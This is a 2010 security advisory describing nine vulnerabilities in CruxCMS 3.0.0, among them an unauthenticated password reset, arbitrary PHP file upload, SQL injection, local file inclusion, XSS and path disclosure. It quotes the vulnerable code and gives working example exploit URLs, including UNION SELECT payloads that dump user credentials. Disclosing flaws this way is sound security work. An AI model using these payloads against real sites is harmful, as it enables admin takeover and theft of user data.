Author: Janek Vind "waraxe"
Date: 27. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-78.html
Affected Software:
CruxCMS is a lightweight, easy to use website content management system (CMS).
It is written in PHP and uses the powerful MySQL database.
http://www.cruxsoftware.co.uk/cruxcms.php
Affected versions
Tests were conducted against CruxCMS version 3.0.0
###############################################################################
Reason: directly accessible php script
Attack vectors: user submitted POST parameters "ID" and "Password"
Preconditions: none
Impact: attacker can take over CruxCMS admin account
Php script "manager/passwordreset.php" is directly accessible via web
without any authorization. Source code snippet:
-----------------[ source code start ]---------------------------------
include ("…/includes/injectionprevention.php");
$ID = numericquery($_POST["ID"]) ;
if (isset($ID)) {
$Password = preventinjection($_POST["Password"]);
$Password2 = md5($Password);
//Connect to database
include ("…/includes/dbinfo.php");
// Insert data
$sqlquery = "UPDATE " . usersdb . " SET "
."Password ='" .$Password2 ."' WHERE ID ='" .$ID ."'";
$results = mysql_query($sqlquery);
-----------------[ source code end ]-----------------------------------
###############################################################################
2. Arbitrary file upload in "manager/processeditor.php"
###############################################################################
Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none
Impact: attacker is able to write remote php files to any location.
Php script "manager/processeditor.php" is directly accessible via web
without any authorization. Source code snippet:
-----------------[ source code start ]---------------------------------
$Name = preventinjection($_POST["name"]) ;
if (isset($_POST['Type'])) {
$Type = $_POST['Type'];
}
…
$head = $_POST["head"] ;
$headlink = $Name . ".php";
if ($Type == "Add") {
…
$fileopen = fopen($headlink, 'w') or die("can't open file");
fwrite($fileopen, $head);
fclose($fileopen);
-----------------[ source code end ]-----------------------------------
For testing first make sure, that "images" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:
http://localhost/cruxcms.3.0.0/images/info.php
###############################################################################
3. Arbitrary file upload in "manager/processfile.php"
###############################################################################
Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none
For testing first make sure, that "Uploads/Misc/" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:
http://localhost/cruxcms.3.0.0/Uploads/Misc/info-38656.php
As seen above, random string ("38656" in this specific example) is concatenated
to the filename. For successful exploitation therefore two options exists:
a) if webserver directory listing is enabled, then filename can be easily found
b) bruteforce is possible -> ~100 000 tries needed max for filename guessing
###############################################################################
4. SQL Injection in "includes/classes/searchbox.inc.php"
###############################################################################
Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
Source code snippet from "includes/classes/searchbox.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
…
$query_fields = "p.Title p.Content";
$query = "SELECT p.Name as PName, p.Title as PTitle, p.Content as PContent, p.Archive FROM " . pagesdb . " p WHERE ";
$query = $query . boolstring2sql_query($query_fields, $query_text);
$query = $query . " AND p.Archive = 'No'";
$query = $query . " LIMIT $from, $max_results";
$query = $query . ";";
…
$sql_result = mysql_query($query , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
Example exploit:
http://localhost/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users
As result we can see sensitive user data from database.
###############################################################################
5. SQL Injection in "includes/classes/links.inc.php"
###############################################################################
Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
Source code snippet from "includes/classes/links.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
…
$sql = "SELECT * FROM " . linksdb . " LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
Example exploit:
http://localhost/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users
As result we can see sensitive user data from database.
###############################################################################
6. SQL Injection in "includes/classes/news.inc.php"
###############################################################################
Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
Source code snippet from "includes/classes/news.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
…
$sql = "SELECT * FROM " . newsdb . " ORDER BY Date DESC LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
This vulnerability differs from previous cases, because there is "ORDER BY"
before "LIMIT" in vulnerable SQL query. It renders common "UNION" attack method
useless and only exploitation possibility seems to be "INTO OUTFILE". Many
conditions are needed for such exploitation (see above), so specifix SQL
Injection case can be considered as minor one.
###############################################################################
7. Local File Inclusion in "includes/template.php"
###############################################################################
Reason: directly accessible php script
Attack vector: user submitted GET parameter "style"
Preconditions:
Example exploit:
http://localhost/cruxcms.3.0.0/includes/template.php?style=../white.gif
###############################################################################
8. Reflected XSS in "manager/login.php"
###############################################################################
Reason: directly accessible php script
Attack vector: user submitted GET parameter "message"
Preconditions: none
Example exploit:
###############################################################################
9. Full Path Disclosure in multiple php scripts
###############################################################################
Examples:
http://localhost/cruxcms.3.0.0/manager/switcher.php?style[]
Warning: setcookie() expects parameter 2 to be string, array given in
C:\apache_wwwroot\cruxcms.3.0.0\manager\switcher.php on line 24
http://localhost/cruxcms.3.0.0/search.php?search[]
Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:\apache_wwwroot\cruxcms.3.0.0\includes\classes\searchbox.inc.php on line 40
http://localhost/cruxcms.3.0.0/manager/filetypes.php
Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in
C:\apache_wwwroot\cruxcms.3.0.0\manager\filetypes.php on line 24
http://localhost/cruxcms.3.0.0/styles/andreas01.php
Warning: include(includes/functions.php) [function.include]: failed to open stream:
No such file or directory in C:\apache_wwwroot\cruxcms.3.0.0\styles\andreas01.php on line 36
Greetings:
Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!
Contact:
[email protected]
Janek Vind "waraxe"
Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://userguidenow.com/
---------------------------------- [ EOF ] ------------------------------------